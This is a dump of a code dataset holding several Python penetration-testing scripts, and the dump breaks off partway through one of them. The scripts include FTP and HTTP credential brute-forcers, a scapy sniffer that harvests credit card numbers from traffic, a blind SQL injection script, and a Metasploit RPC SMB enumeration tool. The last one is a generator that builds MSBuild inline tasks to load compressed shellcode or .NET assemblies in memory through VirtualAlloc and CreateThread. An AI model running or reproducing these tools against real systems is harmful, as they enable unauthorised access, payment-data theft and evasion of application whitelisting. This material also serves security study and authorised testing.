repo_name
stringclasses
29 values
text
stringlengths
18
367k
avg_line_length
float64
5.6
132
max_line_length
int64
11
3.7k
alphnanum_fraction
float64
0.28
0.94
Python-Penetration-Testing-Cookbook
import socket s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) while True: print(s.recvfrom(65565))
20
70
0.752
PenetrationTestingScripts
#coding=utf-8 import threading from printers import printPink,printRed,printGreen from multiprocessing.dummy import Pool import requests import socket import httplib import time import urlparse import urllib2 import re import base64 class web_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.result=[] self.tomcatlines=self.config.file2list("conf/tomcat.conf") self.weblines=self.config.file2list("conf/web.conf") def weblogin(self,url,ip,port,username,password): try: creak=0 header={} login_pass=username+':'+password header['Authorization']='Basic '+base64.encodestring(login_pass) #header base64.encodestring 会多加一个回车号 header['Authorization']=header['Authorization'].replace("\n","") r=requests.get(url,headers=header,timeout=8) if r.status_code==200: self.result.append("%s service at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) self.lock.acquire() printGreen("%s service at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) self.lock.release() creak=1 else: self.lock.acquire() print "%s service 's %s:%s login fail " %(ip,username,password) self.lock.release() except Exception,e: pass return creak def webmain(self,ip,port): #iis_put vlun scann try: url='http://'+ip+':'+str(port)+'/'+str(time.time())+'.txt' r = requests.put(url,data='hi~',timeout=10) if r.status_code==201: self.lock.acquire() printGreen('%s has iis_put vlun at %s\r\n' %(ip,port)) self.lock.release() self.result.append('%s has iis_put vlun at %s\r\n' %(ip,port)) except Exception,e: #print e pass #burp 401 web try: url='http://'+ip+':'+str(port) url_get=url+'/manager/html' r=requests.get(url_get,timeout=8)#tomcat r2=requests.get(url,timeout=8)#web if r.status_code==401: for data in self.tomcatlines: username=data.split(':')[0] password=data.split(':')[1] flag=self.weblogin(url_get,ip,port,username,password) if flag==1: break elif r2.status_code==401: for data in self.weblines: username=data.split(':')[0] password=data.split(':')[1] flag=self.weblogin(url,ip,port,username,password) if flag==1: break else: pass except Exception,e: pass def run(self,ipdict,pinglist,threads,file): if len(ipdict['http']): print "[*] start test web burp at %s" % time.ctime() starttime=time.time() pool=Pool(threads) for ip in ipdict['http']: pool.apply_async(func=self.webmain,args=(str(ip).split(':')[0],int(str(ip).split(':')[1]))) pool.close() pool.join() print "[*] stop test iip_put&&scanner web paths at %s" % time.ctime() print "[*] test iip_put&&scanner web paths done,it has Elapsed time:%s " % (time.time()-starttime) for i in xrange(len(self.result)): self.config.write_file(contents=self.result[i],file=file) if __name__ == '__main__': import sys sys.path.append("../") from comm.config import * c=config() ipdict={'http': ['192.168.1.1:80']} pinglist=['192.168.1.1'] test=web_burp(c) test.run(ipdict,pinglist,50,file="../result/test")
33.758333
125
0.498801
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-10 # @File : authenticate.py # @Desc : "" from flask import Blueprint, render_template, request, redirect, url_for, Flask, session from instance import config from functools import wraps authenticate = Blueprint('authenticate', __name__) ProductionConfig = config.ProductionConfig app = Flask(__name__) app.config.from_object(ProductionConfig) @authenticate.route('/login', methods=['GET', 'POST']) def login_view(): # login view if request.method == 'POST': # username = request.form.get('username') password = request.form.get('password') if password == app.config.get('WEB_PASSWORD'): try: session['login'] = 'A1akPTQJiz9wi9yo4rDz8ubM1b1' return redirect(url_for('index.view_base')) except Exception as e: print(e) return render_template('login.html', msg="Internal Server Error") else: return render_template('login.html', msg="Invalid Password") return render_template('login.html') # login-out @authenticate.route('/login-out') def login_out(): session['login'] = '' return redirect(url_for('authenticate.login_view')) # login-check def login_check(f): @wraps(f) def wrapper(*args, **kwargs): try: if "login" in session: if session['login'] == 'A1akPTQJiz9wi9yo4rDz8ubM1b1': return f(*args, **kwargs) else: return redirect(url_for('authenticate.login_view')) else: return redirect(url_for('authenticate.login_view')) except Exception, e: print e return redirect(url_for('authenticate.login_view')) return wrapper
30.135593
88
0.599673
Python-Penetration-Testing-Cookbook
# This package will contain the spiders of your Scrapy project # # Please refer to the documentation for information on how to create and manage # your spiders.
31.4
79
0.78882
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import re import optparse from scapy.all import * def findCreditCard(pkt): raw = pkt.sprintf('%Raw.load%') americaRE = re.findall('3[47][0-9]{13}', raw) masterRE = re.findall('5[1-5][0-9]{14}', raw) visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw) if americaRE: print '[+] Found American Express Card: ' + americaRE[0] if masterRE: print '[+] Found MasterCard Card: ' + masterRE[0] if visaRE: print '[+] Found Visa Card: ' + visaRE[0] def main(): parser = optparse.OptionParser('usage %prog -i <interface>') parser.add_option('-i', dest='interface', type='string',\ help='specify interface to listen on') (options, args) = parser.parse_args() if options.interface == None: print parser.usage exit(0) else: conf.iface = options.interface try: print '[*] Starting Credit Card Sniffer.' sniff(filter='tcp', prn=findCreditCard, store=0) except KeyboardInterrupt: exit(0) if __name__ == '__main__': main()
24.44186
64
0.585544
PenetrationTestingScripts
#coding=utf-8 import time import threading from multiprocessing.dummy import Pool from printers import printPink,printGreen from ftplib import FTP class ftp_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.result=[] self.lines=self.config.file2list("conf/ftp.conf") def ftp_connect(self,ip,username,password,port): crack=0 try: ftp=FTP() ftp.connect(ip,str(port)) ftp.login(user=username,passwd=password) crack=1 ftp.close() except Exception,e: self.lock.acquire() print "%s ftp service 's %s:%s login fail " %(ip,username,password) self.lock.release() return crack def ftp_l(self,ip,port): try: for data in self.lines: username=data.split(':')[0] password=data.split(':')[1] if self.ftp_connect(ip,username,password,port)==1: self.lock.acquire() printGreen("%s ftp at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) self.result.append("%s ftp at %s has weaken password!!-------%s:%s\r\n" %(ip,port,username,password)) self.lock.release() break except Exception,e: pass def run(self,ipdict,pinglist,threads,file): if len(ipdict['ftp']): printPink("crack ftp now...") print "[*] start crack ftp %s" % time.ctime() starttime=time.time() pool=Pool(threads) for ip in ipdict['ftp']: pool.apply_async(func=self.ftp_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1]))) pool.close() pool.join() print "[*] stop ftp serice %s" % time.ctime() print "[*] crack ftp done,it has Elapsed time:%s " % (time.time()-starttime) for i in xrange(len(self.result)): self.config.write_file(contents=self.result[i],file=file) if __name__ == '__main__': import sys sys.path.append("../") from comm.config import * c=config() ipdict={'ftp': ['192.168.1.1:21']} pinglist=['192.168.1.1'] test=ftp_burp(c) test.run(ipdict,pinglist,50,file="../result/test")
30.402597
125
0.522962
cybersecurity-penetration-testing
class Solution(object): # def findShortestSubArray(self, nums): # """ # :type nums: List[int] # :rtype: int # """ # res = len(nums) # counter = collections.Counter() # for num in nums: # counter[num] += 1 # degree = max(counter.values()) # for key, kdegree in counter.most_common(): # if degree != kdegree: # break # res = min(res, self.smallestSubArray(nums, key, degree)) # return res # def smallestSubArray(self, nums, key, degree): # start = nums.index(key) # pos = start + 1 # degree -= 1 # while pos < len(nums) and degree != 0: # if nums[pos] == key: # degree -= 1 # pos += 1 # return pos - start def findShortestSubArray(self, nums): left, right, count = {}, {}, {} for i, x in enumerate(nums): if x not in left: left[x] = i right[x] = i count[x] = count.get(x, 0) + 1 ans = len(nums) degree = max(count.values()) for x in count: if count[x] == degree: ans = min(ans, right[x] - left[x] + 1) return ans
28.809524
70
0.46283
cybersecurity-penetration-testing
import struct import logging from helper import utility from Registry import Registry __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.04 __description__ = 'This scripts parses the UserAssist Key from NTUSER.DAT.' # KEYS will contain sub-lists of each parsed UserAssist (UA) key KEYS = [] def main(registry, **kwargs): """ The main function handles main logic of script. :param registry: Registry hive to process :return: Nothing. """ if utility.checkHeader(registry, ['72656766'], 4) is not True: logging.error('Incorrect file detected based on name') raise TypeError # Create dictionary of ROT-13 decoded UA key and its value apps = createDictionary(registry) ua_type = parseValues(apps) if ua_type == 0: logging.info('Detected XP based Userassist values.') else: logging.info('Detected Win7 based Userassist values.') headers = ['Name', 'Path', 'Session ID', 'Count', 'Last Used Date (UTC)', 'Focus Time (ms)', 'Focus Count'] return KEYS, headers def createDictionary(registry): """ The createDictionary function creates a list of dictionaries where keys are the ROT-13 decoded app names and values are the raw hex data of said app. :param registry: Registry Hive to process :return: tmp, A list containing dictionaries for each app """ try: # Open the registry file to be parsed reg = Registry.Registry(registry) except (IOError, Registry.RegistryParse.ParseException) as e: msg = 'Invalid NTUSER.DAT path or Registry ID.' print '[-]', msg logging.error(msg) raise TypeError try: # Navigate to the UserAssist key ua_key = reg.open('SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist') except Registry.RegistryKeyNotFoundException: msg = 'UserAssist Key not found in Registry file.' print '[-]', msg logging.error(msg) raise TypeError tmp = [] # Loop through each subkey in the UserAssist key for subkey in ua_key.subkeys(): # For each subkey in the UserAssist key, detect if there is a subkey called # Count and that it has more than 0 values to parse. if subkey.subkey('Count') and subkey.subkey('Count').values_number() > 0: apps = {} for v in subkey.subkey('Count').values(): apps[v.name().decode('rot-13')] = v.raw_data() tmp.append(apps) return tmp def parseValues(data): """ The parseValues function uses struct to unpack the raw value data from the UA key :param data: A list containing dictionaries of UA application data :return: ua_type, based on the size of the raw data from the dictionary values. """ ua_type = -1 for dictionary in data: for v in dictionary.keys(): # WinXP based UA keys are 16 bytes if len(dictionary[v]) == 16: raw = struct.unpack('<2iq', dictionary[v]) ua_type = 0 KEYS.append({'Name': getName(v), 'Path': v, 'Session ID': raw[0], 'Count': raw[1], 'Last Used Date (UTC)': raw[2], 'Focus Time (ms)': '', 'Focus Count': ''}) # Win7 based UA keys are 72 bytes elif len(dictionary[v]) == 72: raw = struct.unpack('<4i44xq4x', dictionary[v]) ua_type = 1 KEYS.append({'Name': getName(v), 'Path': v, 'Session ID': raw[0], 'Count': raw[1], 'Last Used Date (UTC)': raw[4], 'Focus Time (ms)': raw[3], 'Focus Count': raw[2]}) else: # If the key is not WinXP or Win7 based -- ignore. msg = 'Ignoring ' + str(v) + ' value that is ' + str(len(dictionary[v])) + ' bytes.' logging.info(msg) continue return ua_type def getName(full_name): """ the getName function splits the name of the application returning the executable name and ignoring the path details. :param full_name: the path and executable name :return: the executable name """ # Determine if '\\' and ':' are within the full_name if ':' in full_name and '\\' in full_name: # Find if ':' comes before '\\' if full_name.rindex(':') > full_name.rindex('\\'): # Split on ':' and return the last element (the executable) return full_name.split(':')[-1] else: # Otherwise split on '\\' return full_name.split('\\')[-1] # When just ':' or '\\' is in the full_name, split on that item and return # the last element (the executable) elif ':' in full_name: return full_name.split(':')[-1] else: return full_name.split('\\')[-1]
36.48062
111
0.597021
cybersecurity-penetration-testing
import requests import sys url = sys.argv[1] yes = sys.argv[2] answer = [] i = 1 asciivalue = 1 letterss = [] print "Kicking off the attempt" payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'} while True: req = requests.post(url, data=payload) lengthtest = req.text if yes in lengthtest: length = i break i = i+1 for x in range(1, length): payload = {'injection': '\'AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'} req = requests.post(url, data=payload, cookies=cookies) if yes in req.text: answer.append(asciivalue) else: asciivalue = asciivalue + 1 pass asciivalue = 1 print "Recovered String: "+ ''.join(answer)
20.69697
112
0.653147
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Christopher Duffy Date: April 2015 Name: headrequest.py Purpose: To identify live web applications out extensive IP ranges Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import urllib2, argparse, sys def host_test(filename): file = "headrequests.log" bufsize = 0 e = open(file, 'a', bufsize) print("[*] Reading file %s") % (file) with open(filename) as f: hostlist = f.readlines() for host in hostlist: print("[*] Testing %s") % (str(host)) target = "http://" + host target_secure = "https://" + host try: request = urllib2.Request(target) request.get_method = lambda : 'HEAD' response = urllib2.urlopen(request) except: print("[-] No web server at %s") % (str(target)) response = None if response != None: print("[*] Response from %s") % (str(target)) print(response.info()) details = response.info() e.write(str(details)) try: request_secure = urllib2.urlopen(target_secure) request_secure.get_method = lambda : 'HEAD' response_secure = urllib2.urlopen(request_secure) except: print("[-] No web server at %s") % (str(target_secure)) response_secure = None if response_secure != None: print("[*] Response from %s") % (str(target_secure)) print(response_secure.info()) details = response_secure.info() e.write(str(details)) e.close() def main(): # If script is executed at the CLI usage = '''usage: %(prog)s [-t hostfile] -q -v -vv -vvv''' parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-t", action="store", dest="targets", default=None, help="Filename for hosts to test") parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") parser.add_argument('--version', action='version', version='%(prog)s 0.42b') args = parser.parse_args() # Argument Validator if len(sys.argv)==1: parser.print_help() sys.exit(1) if (args.targets == None): parser.print_help() sys.exit(1) # Set Constructors verbose = args.verbose # Verbosity level targets = args.targets # Password or hash to test against default is admin host_test(targets) if __name__ == '__main__': main()
41.354167
151
0.666667
cybersecurity-penetration-testing
#!/usr/bin/python # # Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length # it searches for proper key that could decrypt cipher into text. # # Mariusz Banach, 2016 # import sys def xorstring(s, k): out = [0 for c in range(len(s))] key = [] if type(k) == type(int): key = [k,] else: key = [ki for ki in k] for i in range(len(key)): for j in range(i, len(s), len(key)): out[j] = chr(ord(s[j]) ^ key[i]) return ''.join(out) def brute(input_xored, expected_output, key_len): key = [] if len(input_xored) != len(expected_output): print '[!] Input xored and expected output lengths not match!' return False for i in range(key_len): cipher_letters = [ input_xored[x] for x in range(i, len(input_xored), key_len)] plaintext_letters = [ expected_output[x] for x in range(i, len(input_xored), key_len)] found = False for k in range(256): found = True for j in range(key_len): if chr(ord(cipher_letters[j]) ^ k) != plaintext_letters[j]: found = False break if found: key.append(k) break found = False if not found: print '[!] Could not found partial key value.' break return key, xorstring(input_xored, key) == expected_output def main(argv): if len(argv) < 4: print 'Usage: %s <cipher> <plain> <key-len>' return False cipher = argv[1] plain = argv[2] keylen = int(argv[3]) if len(cipher) != len(plain): print '[!] Cipher text and plain text must be of same length!' return False if len(cipher) % keylen != 0: print '[!] Cipher text and plain text lengths must be divisble by keylen!' return False print "Cipher text:\t%s" % cipher print "Plain text:\t%s" % plain print "Key length:\t%d" % keylen key, status = brute(cipher, plain, keylen) if status: print '[+] Key recovered!' print '\tKey:\t\t\t', str(key) print '\tDecrypted string:\t' + xorstring(cipher, key) else: print '[!] Key not found.' if __name__ == '__main__': main(sys.argv)
25.678161
94
0.548707
cybersecurity-penetration-testing
# Transposition Cipher Encryption # http://inventwithpython.com/hacking (BSD Licensed) import pyperclip def main(): myMessage = 'Common sense is not so common.' myKey = 8 ciphertext = encryptMessage(myKey, myMessage) # Print the encrypted string in ciphertext to the screen, with # a | (called "pipe" character) after it in case there are spaces at # the end of the encrypted message. print(ciphertext + '|') # Copy the encrypted string in ciphertext to the clipboard. pyperclip.copy(ciphertext) def encryptMessage(key, message): # Each string in ciphertext represents a column in the grid. ciphertext = [''] * key # Loop through each column in ciphertext. for col in range(key): pointer = col # Keep looping until pointer goes past the length of the message. while pointer < len(message): # Place the character at pointer in message at the end of the # current column in the ciphertext list. ciphertext[col] += message[pointer] # move pointer over pointer += key # Convert the ciphertext list into a single string value and return it. return ''.join(ciphertext) # If transpositionEncrypt.py is run (instead of imported as a module) call # the main() function. if __name__ == '__main__': main()
30.111111
76
0.642602
Python-Penetration-Testing-for-Developers
import requests import sys url = sys.argv[1] values = [] for i in xrange(100): r = requests.get(url) values.append(int(r.elapsed.total_seconds())) average = sum(values) / float(len(values)) print "Average response time for "+url+" is "+str(average)
20.25
58
0.69685
cybersecurity-penetration-testing
#!/usr/bin/env python ''' Author: Christopher Duffy Date: March 2015 Name: msfrpc_smb.py Purpose: To scan a network for a smb ports and validate if credentials work on the target host Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import os, argparse, sys, time try: import msfrpc except: sys.exit("[!] Install the msfrpc library that can be found here: https://github.com/SpiderLabs/msfrpc.git") try: import nmap except: sys.exit("[!] Install the nmap library: pip install python-nmap") try: import netifaces except: sys.exit("[!] Install the netifaces library: pip install netifaces") def get_interfaces(): interfaces = netifaces.interfaces() return interfaces def get_gateways(): gateway_dict = {} gws = netifaces.gateways() for gw in gws: try: gateway_iface = gws[gw][netifaces.AF_INET] gateway_ip, iface = gateway_iface[0], gateway_iface[1] gw_list =[gateway_ip, iface] gateway_dict[gw]=gw_list except: pass return gateway_dict def get_addresses(interface): addrs = netifaces.ifaddresses(interface) link_addr = addrs[netifaces.AF_LINK] iface_addrs = addrs[netifaces.AF_INET] iface_dict = iface_addrs[0] link_dict = link_addr[0] hwaddr = link_dict.get('addr') iface_addr = iface_dict.get('addr') iface_broadcast = iface_dict.get('broadcast') iface_netmask = iface_dict.get('netmask') return hwaddr, iface_addr, iface_broadcast, iface_netmask def get_networks(gateways_dict): networks_dict = {} for key, value in gateways_dict.iteritems(): gateway_ip, iface = value[0], value[1] hwaddress, addr, broadcast, netmask = get_addresses(iface) network = {'gateway': gateway_ip, 'hwaddr' : hwaddress, 'addr' : addr, 'broadcast' : broadcast, 'netmask' : netmask} networks_dict[iface] = network return networks_dict def target_identifier(verbose, dir, user, passwd, ips, port_num, ifaces, ipfile): hostlist = [] pre_pend = "smb" service_name = "microsoft-ds" service_name2 = "netbios-ssn" protocol = "tcp" port_state = "open" bufsize = 0 hosts_output = "%s/%s_hosts" % (dir, pre_pend) scanner = nmap.PortScanner() if ipfile != None: if verbose > 0: print("[*] Scanning for hosts from file %s") % (ipfile) with open(ipfile) as f: hostlist = f.read().replace('\n',' ') scanner.scan(hosts=hostlist, ports=port_num) else: if verbose > 0: print("[*] Scanning for host\(s\) %s") % (ips) scanner.scan(ips, port_num) open(hosts_output, 'w').close() hostlist=[] if scanner.all_hosts(): e = open(hosts_output, 'a', bufsize) else: sys.exit("[!] No viable targets were found!") for host in scanner.all_hosts(): for k,v in ifaces.iteritems(): if v['addr'] == host: print("[-] Removing %s from target list since it belongs to your interface!") % (host) host = None if host != None: e = open(hosts_output, 'a', bufsize) if service_name or service_name2 in scanner[host][protocol][int(port_num)]['name']: if port_state in scanner[host][protocol][int(port_num)]['state']: if verbose > 0: print("[+] Adding host %s to %s since the service is active on %s") % (host, hosts_output, port_num) hostdata=host + "\n" e.write(hostdata) hostlist.append(host) else: if verbose > 0: print(print("[-] Host %s is not being added to %s since the service is not active on %s") % (host, hosts_output, port_num)) if not scanner.all_hosts(): e.closed if hosts_output: return hosts_output, hostlist def build_command(verbose, user, passwd, dom, port, ip): module = "auxiliary/scanner/smb/smb_enumusers_domain" command = '''use ''' + module + ''' set RHOSTS ''' + ip + ''' set SMBUser ''' + user + ''' set SMBPass ''' + passwd + ''' set SMBDomain ''' + dom +''' run ''' return command, module def run_commands(verbose, iplist, user, passwd, dom, port, file): bufsize = 0 e = open(file, 'a', bufsize) done = False client = msfrpc.Msfrpc({}) client.login('msf','msfrpcpassword') try: result = client.call('console.create') except: sys.exit("[!] Creation of console failed!") console_id = result['id'] console_id_int = int(console_id) for ip in iplist: if verbose > 0: print("[*] Building custom command for: %s") % (str(ip)) command, module = build_command(verbose, user, passwd, dom, port, ip) if verbose > 0: print("[*] Executing Metasploit module %s on host: %s") % (module, str(ip)) client.call('console.write',[console_id, command]) time.sleep(1) while done != True: result = client.call('console.read',[console_id_int]) if len(result['data']) > 1: if result['busy'] == True: time.sleep(1) continue else: console_output = result['data'] e.write(console_output) if verbose > 0: print(console_output) done = True e.closed client.call('console.destroy',[console_id]) def main(): # If script is executed at the CLI usage = '''usage: %(prog)s [-u username] [-p password] [-d domain] [-t IP] [-l IP_file] [-r ports] [-o output_dir] [-f filename] -q -v -vv -vvv''' parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-u", action="store", dest="username", default="Administrator", help="Accepts the username to be used, defaults to 'Administrator'") parser.add_argument("-p", action="store", dest="password", default="admin", help="Accepts the password to be used, defalts to 'admin'") parser.add_argument("-d", action="store", dest="domain", default="WORKGROUP", help="Accepts the domain to be used, defalts to 'WORKGROUP'") parser.add_argument("-t", action="store", dest="targets", default=None, help="Accepts the IP to be used, can provide a range, single IP or CIDR") parser.add_argument("-l", action="store", dest="targets_file", default=None, help="Accepts a file with IP addresses, ranges, and CIDR notations delinated by new lines") parser.add_argument("-r", action="store", dest="ports", default="445", help="Accepts the port to be used, defalts to '445'") parser.add_argument("-o", action="store", dest="home_dir", default="/root", help="Accepts the dir to store any results in, defaults to /root") parser.add_argument("-f", action="store", dest="filename", default="results", help="Accepts the filename to output relevant results") parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") parser.add_argument('--version', action='version', version='%(prog)s 0.42b') args = parser.parse_args() # Argument Validator if len(sys.argv)==1: parser.print_help() sys.exit(1) if (args.targets == None) and (args.targets_file == None): parser.print_help() sys.exit(1) # Set Constructors verbose = args.verbose # Verbosity level password = args.password # Password or hash to test against default is admin username = args.username # Username to test against default is Administrator domain = args.domain # Domain default is WORKGROUP ports = args.ports # Port to test against Default is 445 targets = args.targets # Hosts to test against targets_file = args.targets_file # Hosts to test against loaded by a file home_dir = args.home_dir # Location to store results filename = args.filename # A file that will contain the final results gateways = {} network_ifaces={} if not filename: if os.name != "nt": filename = home_dir + "/msfrpc_smb_output" else: filename = home_dir + "\\msfrpc_smb_output" else: if filename: if "\\" or "/" in filename: if verbose > 1: print("[*] Using filename: %s") % (filename) else: if os.name != "nt": filename = home_dir + "/" + filename else: filename = home_dir + "\\" + filename if verbose > 1: print("[*] Using filename: %s") % (filename) gateways = get_gateways() network_ifaces = get_networks(gateways) hosts_file, hostlist = target_identifier(verbose, home_dir, username, password, targets, ports, network_ifaces, targets_file) run_commands(verbose, hostlist, username, password, domain, ports, filename) if __name__ == '__main__': main()
43.116667
172
0.626806
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python3.5 from shape import area_finder as AF def find_area():
6.636364
35
0.650602
Effective-Python-Penetration-Testing
Import peutils Import pefile pe = pefile.PE('md5sum-packed.exe') signatures = peutils.SignatureDatabase('http://reverse-engineering-scripts.googlecode.com/files/UserDB.TXT') matches = signatures.match(pe, ep_only = True) print matches
28.625
108
0.788136
cybersecurity-penetration-testing
# This package will contain the spiders of your Scrapy project # # Please refer to the documentation for information on how to create and manage # your spiders.
31.4
79
0.78882
cybersecurity-penetration-testing
#!/usr/bin/python3 # # Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or # .NET/CLR assembly EXE file into inline-task XML file that can be further launched by: # # %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe # or # %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe # # This script can embed following data within constructed CSharp Task: # - Powershell code # - raw Shellcode in a separate thread via CreateThread # - .NET Assembly via Assembly.Load # # Mariusz Banach / mgeeky, <mb@binary-offensive.com> # import re import os import io import sys import gzip import base64 import string import pefile import struct import random import binascii import argparse def getCompressedPayload(filePath, returnRaw = False): out = io.BytesIO() encoded = '' with open(filePath, 'rb') as f: inp = f.read() with gzip.GzipFile(fileobj = out, mode = 'w') as fo: fo.write(inp) encoded = base64.b64encode(out.getvalue()) if returnRaw: return encoded powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format( encoded.decode() ) return powershell def getPayloadCode(payload): return f'shellcode = "{payload}";' payloadCode = '\n' N = 50000 codeSlices = map(lambda i: payload[i:i+N], range(0, len(payload), N)) variables = [] num = 1 for code in codeSlices: payloadCode += f'string shellcode{num} = "{code}";\n' variables.append(f'shellcode{num}') num += 1 concat = 'shellcode = ' + ' + '.join(variables) + ';\n' payloadCode += concat return payloadCode def getInlineTask(module, payload, _format, apc, targetProcess): templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) if len(module) > 0: templateName = module taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) payloadCode = getPayloadCode(payload.decode()) launchCode = '' if _format == 'exe': exeLaunchCode = string.Template('''<Task> <Reference Include="System.Management.Automation" /> <Code Type="Class" Language="cs"> <![CDATA[ using System.Management.Automation; using System.Management.Automation.Runspaces; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; using System; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; using System.IO; using System.IO.Compression; using System.Text; public class $templateName : Task { public static byte[] DecompressString(string compressedText) { byte[] data = Convert.FromBase64String(compressedText); using (var ms = new MemoryStream(data)) { using (var gzip = new GZipStream(ms, CompressionMode.Decompress)) { using (var decompressed = new MemoryStream()) { gzip.CopyTo(decompressed); return decompressed.ToArray(); } } } } public override bool Execute() { string shellcode = ""; $payloadCode byte[] payload = DecompressString(shellcode); Assembly asm = Assembly.Load(payload); MethodInfo method = asm.EntryPoint; object instance = asm.CreateInstance(method.Name); method.Invoke(instance, new object[] { new string[] { } }); return true; } } ]]> </Code> </Task>''').safe_substitute( payloadCode = payloadCode, templateName = templateName ) launchCode = exeLaunchCode elif _format == 'raw': shellcodeLoader = '' if not apc: shellcodeLoader = string.Template('''<Task> <Reference Include="System.Management.Automation" /> <Code Type="Class" Language="cs"> <![CDATA[ using System.Management.Automation; using System.Management.Automation.Runspaces; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; using System; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; using System.IO; using System.IO.Compression; using System.Text; public class $templateName : Task { [DllImport("kernel32")] private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr hHandle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; private static UInt32 MEM_RELEASE = 0x8000; public static byte[] DecompressString(string compressedText) { byte[] data = Convert.FromBase64String(compressedText); using (var ms = new MemoryStream(data)) { using (var gzip = new GZipStream(ms, CompressionMode.Decompress)) { using (var decompressed = new MemoryStream()) { gzip.CopyTo(decompressed); return decompressed.ToArray(); } } } } public override bool Execute() { string shellcode = ""; $payloadCode byte[] 